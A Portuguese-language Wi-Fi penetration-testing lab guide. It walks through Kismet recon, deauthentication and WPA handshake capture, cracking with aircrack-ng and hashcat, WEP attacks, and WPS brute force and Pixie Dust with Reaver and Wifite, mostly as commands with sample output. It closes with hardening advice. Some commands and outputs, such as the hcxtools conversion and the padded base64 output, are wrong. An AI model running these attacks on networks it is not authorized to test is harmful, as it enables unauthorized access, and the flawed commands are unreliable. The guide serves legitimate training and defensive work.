Roteiro prático para análise e teste de segurança em redes IEEE 802.11, abrangendo reconhecimento passivo, captura de handshakes, ataque a WPS e automação de auditorias. Material voltado a pentests autorizados, disciplinas de segurança e preparação para certificações como CEH, eJPT e OSCP.
O laboratório utiliza Kali Linux ou Parrot OS Security, ambientes amplamente usados em auditoria de segurança e forense digital. Em ambos os casos, valide a disponibilidade das ferramentas e mantenha o sistema atualizado. O adaptador wireless USB deve suportar Monitor Mode e Packet Injection — requisitos obrigatórios para captura ativa e passiva.
| Componente | Recomendação | Observação |
|---|---|---|
| Distribuição Linux | Kali Linux • Parrot OS Security | Use sempre ambiente controlado, atualizado e autorizado. |
| RTL8812AU — Realtek | ALFA AWUS036ACH | Dual-band 2.4 GHz / 5 GHz; muito usado em auditorias pela estabilidade em modo monitor e injeção de pacotes. |
| MT7612U — MediaTek | ALFA AWUS036ACM ou Comfast CF-WU785AC | Boa compatibilidade nativa em kernels Linux recentes; opção moderna e estável. |
| AR9271 — Atheros | TP-Link TL-WN722N versão 1 ou adaptadores genéricos AR9271 | Chipset clássico e muito estável; limitado à banda de 2.4 GHz. |
| RT3070 — Ralink | ALFA AWUS036NH ou compatíveis | Opção clássica 2.4 GHz, geralmente plug-and-play em várias distribuições Linux. |
Para simular conexões reais de usuários, utilize um roteador doméstico configurado como access point isolado, sem conexão com redes institucionais ou de terceiros. A recomendação de baixo custo para laboratório é um equipamento dual-band AC1200, pois permite testar cenários em 2.4 GHz e 5 GHz com WPA2/WPA3 quando disponível.
| Item | Recomendação | Uso no laboratório |
|---|---|---|
| Access point de baixo custo | Mercusys MR30G AC1200 ou TP-Link Archer C6/AC1200 | Criar SSID de laboratório, testar 2.4 GHz e 5 GHz, validar WPA2/WPA3 quando disponível e manter o ambiente isolado. |
| Cliente legítimo 1 | Smartphone Android ou iPhone | Simular usuário móvel conectado ao SSID do laboratório, gerar tráfego comum e observar associação, sinal e roaming. |
| Cliente legítimo 2 | Notebook Windows, Linux ou macOS | Simular usuário corporativo, executar navegação controlada, ping para o gateway e transferência de arquivo local. |
| Configuração inicial sugerida | SSID: Lab-WiFi-Seguro; WPA2-AES ou WPA3-Personal; senha forte; rede sem dados reais | Ambiente educacional reproduzível, seguro e adequado para observação defensiva e testes autorizados. |
# Listar modos suportados pelo adaptador
iw list | grep -A 10 "Supported interface modes"
Supported interface modes:
* managed
* AP
* monitor ← obrigatório para captura passiva
* P2P-client
apt update && apt install -y kismet aircrack-ng reaver wifite hcxtools hashcat
✓ kismet instalado
✓ aircrack-ng instalado
✓ reaver instalado
✓ wifite instalado
✓ hcxtools instalado # conversão de hashes para hashcat
✓ hashcat instalado # cracking acelerado por GPU
ip link show | grep -i wlan
3: wlan0: <BROADCAST,MULTICAST> mtu 1500 state DOWN
iwconfig wlan0
wlan0 IEEE 802.11 ESSID:off/any
Mode:Managed Frequency:2.412 GHz Tx-Power=20 dBm
Kismet é um sniffer e IDS wireless que opera em modo exclusivamente passivo: não transmite pacotes, apenas captura o tráfego presente no ar. Por isso, é ideal para mapeamento de redes sem ser detectado por sistemas de monitoramento.
# Iniciar com interface wlan0
kismet -c wlan0
[INFO] Launched kismet server
[INFO] Web UI disponível → http://localhost:2501
[INFO] Capturando em wlan0
[FOUND] AP: HomeNet_5G BSSID: AA:BB:CC:11:22:33 Ch:6 WPA2 -62dBm
[FOUND] AP: LabRouter BSSID: AA:BB:CC:44:55:66 Ch:36 WPA3 -55dBm
[WARN] AP: OLD_NETWORK BSSID: AA:BB:CC:77:88:99 Ch:1 WEP -78dBm ← VULNERÁVEL
# Converter captura Kismet para PCAP (análise no Wireshark)
kismetdb_to_wireshark --in kismet.kismet --out captura.pcap
✓ captura.pcap exportado (1.2 MB, 4832 frames)
✓ redes.csv exportado (23 APs, 47 clientes)
Dispositivos sem fio transmitem probe requests buscando redes salvas anteriormente. Esse tráfego revela histórico de conexões do usuário e pode ser explorado em ataques de engenharia social ou rogue AP.
# Listar dispositivos e as redes que estão buscando
grep "probe" kismet.log | awk '{print $5, $8}'
Device AA:11:22:33:44:55 → "CasaAntiga_WiFi"
Device BB:66:77:88:99:00 → "HotelABC_Guest"
# Alertar sobre flood de desautenticação e rogue APs
kismet -c wlan0 --alert DEAUTHFLOOD,5,1 --alert APSPOOF,10,60
[ALERT] DEAUTHFLOOD: possível ataque de desautenticação detectado!
Origem: AA:BB:CC:11:22:33 → 5 frames em 1 segundo
O conjunto Aircrack-ng é a suite mais completa para auditoria de redes Wi-Fi. Cada ferramenta da suite cobre uma etapa do processo de análise.
| Ferramenta | Função |
|---|---|
airmon-ng | Ativar e gerenciar o modo monitor na interface |
airodump-ng | Capturar pacotes e listar redes e clientes |
aireplay-ng | Injetar pacotes (DeAuth, ARP replay etc.) |
aircrack-ng | Analisar capturas e tentar recuperar a chave |
# Encerrar processos que conflitam com o monitor mode
airmon-ng check kill
# Ativar monitor mode na interface wlan0
airmon-ng start wlan0
✓ Processos encerrados: NetworkManager, wpa_supplicant
✓ Interface de monitor criada: wlan0mon
# Escanear bandas 2.4 GHz e 5 GHz e salvar captura
airodump-ng wlan0mon --band abg -w captura --output-format pcap
BSSID CH PWR ENC ESSID
AA:BB:CC:11:22:33 6 -62 WPA2 TargetNetwork
AA:BB:CC:44:55:66 36 -55 WPA3 LabRouter
AA:BB:CC:77:88:99 1 -78 WEP OldRouter ← crack em minutos
# Focar em canal e BSSID do alvo
airodump-ng -c 6 --bssid AA:BB:CC:11:22:33 -w handshake wlan0mon
# Em outro terminal: desautenticar cliente para forçar reconexão
aireplay-ng -0 5 -a AA:BB:CC:11:22:33 -c DD:EE:FF:00:11:22 wlan0mon
Enviando 5 frames de DeAuth direcionados...
WPA handshake: AA:BB:CC:11:22:33 ← capturado com sucesso
# Testar senhas do wordlist rockyou contra o handshake capturado
aircrack-ng -w /usr/share/wordlists/rockyou.txt handshake-01.cap
Testando 14.341.564 chaves...
KEY FOUND! [ senha123 ]
Tempo decorrido: 4m 23s | Velocidade: 54.521 chaves/s
# Coletar IVs via ataque de reinjeção ARP
aireplay-ng -3 -b AA:BB:CC:77:88:99 wlan0mon
# Iniciar crack quando houver IVs suficientes (~50.000)
aircrack-ng -b AA:BB:CC:77:88:99 captura-01.cap
KEY FOUND! [ 1A:2B:3C:4D:5E ]
# WEP é quebrado em minutos — nunca utilize este protocolo
airmon-ng stop wlan0mon && service NetworkManager restart
O WPS (Wi-Fi Protected Setup) possui uma vulnerabilidade de design documentada: o PIN de 8 dígitos é verificado em duas metades independentes, reduzindo o espaço de busca de 100 milhões de combinações para apenas cerca de 11.000 tentativas. Roteadores com WPS ativo são, portanto, suscetíveis a ataques de força bruta.
# Listar APs com WPS e status de bloqueio
wash -i wlan0mon --ignore-fcs
BSSID Ch dBm WPS Lck ESSID
AA:BB:CC:11:22:33 6 -62 2.0 No TargetRouter ← WPS ativo e desbloqueado
AA:BB:CC:44:55:66 36 -55 2.0 Yes LabRouter ← WPS bloqueado após tentativas
# -vv = verbose | --delay = pausa entre tentativas para evitar lockout
reaver -i wlan0mon -b AA:BB:CC:11:22:33 -vv --delay 1 --no-associate
[+] Tentando PIN 12345670
[+] Tentando PIN 00005678
[!] Rate limiting detectado — aumentando delay para 5s...
[+] WPS PIN: '87654321'
[+] WPA PSK: 'MinhaRedeFibra2024'
O ataque Pixie Dust explora a geração fraca de nonces aleatórios em chips vulneráveis (Ralink, Broadcom, Realtek antigos). Em vez de testar PINs sequencialmente, a chave é derivada offline a partir de dois nonces capturados em uma única troca de mensagens WPS.
# -K 1 = habilitar Pixie Dust attack
reaver -i wlan0mon -b AA:BB:CC:11:22:33 -vv -K 1
[Pixie-Dust] Nonces capturados. Calculando chave offline...
[Pixie-Dust] WPS PIN recuperado em 43 segundos!
| Método | Tempo estimado | Requisito |
|---|---|---|
| Brute-force PIN | 2–10 horas | WPS ativo, sem lockout |
| Pixie Dust | Segundos a minutos | Chip vulnerável (Ralink, Broadcom antigo) |
Wifite orquestra automaticamente as ferramentas da suite Aircrack-ng e o Reaver, selecionando o vetor de ataque mais adequado para cada rede identificada. Reduz a necessidade de executar comandos individuais em sequência durante uma auditoria.
# Escanear, selecionar alvos e atacar automaticamente
wifite --wpa --wps --dict /usr/share/wordlists/rockyou.txt
[+] Escaneando alvos... (CTRL+C para parar e listar)
NUM ESSID BSSID CH ENC WPS CLIENTES
1 TargetNet AA:BB:CC:11:22:33 6 WPA2 Sim 3
2 OldRouter AA:BB:CC:77:88:99 1 WEP Não 1
[!] Atacando #1 TargetNet (WPA2 + WPS)
[+] Pixie-Dust concluído em 1m 12s
[+] Resultado → PSK: senha123
# Apenas redes com sinal forte, sem enviar frames de desautenticação
wifite --wpa --min-power -60 --nodeauth
# Somente ataque WPS, ignorar handshake WPA
wifite --wps --no-wpa
# Capturar PMKID (não exige cliente associado)
wifite --pmkid
Para aumentar significativamente a velocidade de recuperação de senhas, é possível converter a captura para o formato nativo do Hashcat e utilizar a GPU da máquina de testes.
# Converter handshake .cap para formato Hashcat (hc22000)
hcxtools -i handshake.pcap -o hash.hc22000
# Executar crack com regras de mutação de senha
hashcat -m 22000 hash.hc22000 rockyou.txt --rules-file best64.rule
Session: hashcat STATUS: Cracked
Hash: $PMKID$...:MinhaRede:senhaForte99
Velocidade: 2.1 MH/s (RTX 3080)
| Método | Velocidade aproximada | Observação |
|---|---|---|
| aircrack-ng (CPU) | 50–200 mil chaves/s | Depende do processador |
| hashcat (GPU mid-range) | 500 mil – 2 M chaves/s | RTX 3060 ou superior |
| hashcat (GPU high-end) | 2–5 M chaves/s | RTX 3080/4080 |
O conhecimento das técnicas de ataque é essencial para implementar contramedidas eficazes. A seguir, um checklist de configurações que eliminam ou mitigam os vetores abordados neste laboratório.
# Gerar 24 bytes aleatórios em base64
openssl rand -base64 24
K9mXpQ2vRw7nLsYdFhJcUbE4== ← use como senha Wi-Fi
# Alternativa: caracteres alfanuméricos e símbolos
tr -dc 'A-Za-z0-9!@#$%' < /dev/urandom | head -c 20; echo
mK8!xR2@qP5#wL9$vN3%
# Calcular SHA-1 da senha localmente
echo -n "SuaSenha123" | sha1sum | cut -c1-5
A94A8 ← consulte os 5 primeiros caracteres em haveibeenpwned.com/passwords
# O método k-anonymity garante que a senha completa nunca sai do seu sistema
| Protocolo | Ano | Criptografia | Situação |
|---|---|---|---|
| WEP | 1997 | RC4 (quebrado) | Obsoleto — nunca use |
| WPA | 2003 | TKIP (fraco) | Obsoleto — nunca use |
| WPA2-TKIP | 2004 | TKIP (fraco) | Evitar |
| WPA2-AES | 2004 | AES-CCMP 128 bits | Aceitável |
| WPA3-Personal | 2018 | AES-CCMP 128 bits + SAE | Recomendado |
| WPA3-Enterprise | 2018 | AES-GCMP 256 bits | Máxima segurança |